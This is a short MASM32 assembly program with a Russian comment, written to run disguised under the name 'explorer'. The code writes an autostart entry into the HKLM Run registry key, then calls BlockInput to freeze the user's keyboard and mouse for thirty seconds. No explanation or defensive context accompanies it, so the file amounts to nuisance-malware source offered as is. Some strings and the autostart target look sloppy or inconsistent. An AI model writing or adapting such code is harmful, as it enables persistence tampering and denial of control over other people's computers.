.486 .model flat,stdcall option casemap:none include \masm32\include\winmm.inc include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\wsock32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\advapi32.inc include \masm32\include\shell32.inc includelib \masm32\lib\shell32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\wsock32.lib includelib \masm32\lib\masm32.lib includelib \masm32\lib\advapi32.lib includelib \masm32\lib\winmm.lib .data AppName db "explorer",0 IconName db "explorer",0 kernel32 db "explorer.exe", 0 rundll32 db "explorer..exe", 0 RegStr001 db "HKEY_CLASSES_ROOT\",0 RegStr002 db "HKEY_CURRENT_USER\",0 RegStr003 db "HKEY_LOCAL_MACHINE\",0 RegStr004 db "HKEY_USERS\",0 StartupInfo STARTUPINFO <> AutoKeyName db "Software\Microsoft\Windows\CurrentVersion\Run\",0 AutoRegValue db "explorer",0 AutoRegValue1 db "C:\WINDOWS\explorer.exe" ,0 AutoRegValue2 db "SysValue",0 .data? hInstance dd ? pKey dd ? .code start: ; Выйти, если уже запущена invoke FindWindow,0,addr AppName cmp eax,0 jnz quit invoke RegCreateKey, HKEY_LOCAL_MACHINE,addr AutoKeyName, addr pKey .IF eax == 0 invoke RegSetValueEx, pKey, addr AutoRegValue, NULL, REG_SZ, addr AutoRegValue1, sizeof AutoRegValue1 .endif invoke RegCloseKey, pKey invoke BlockInput, 1 invoke Sleep, 30000 invoke BlockInput, 0 quit: invoke ExitProcess,0 invoke ExitProcess, 0 end start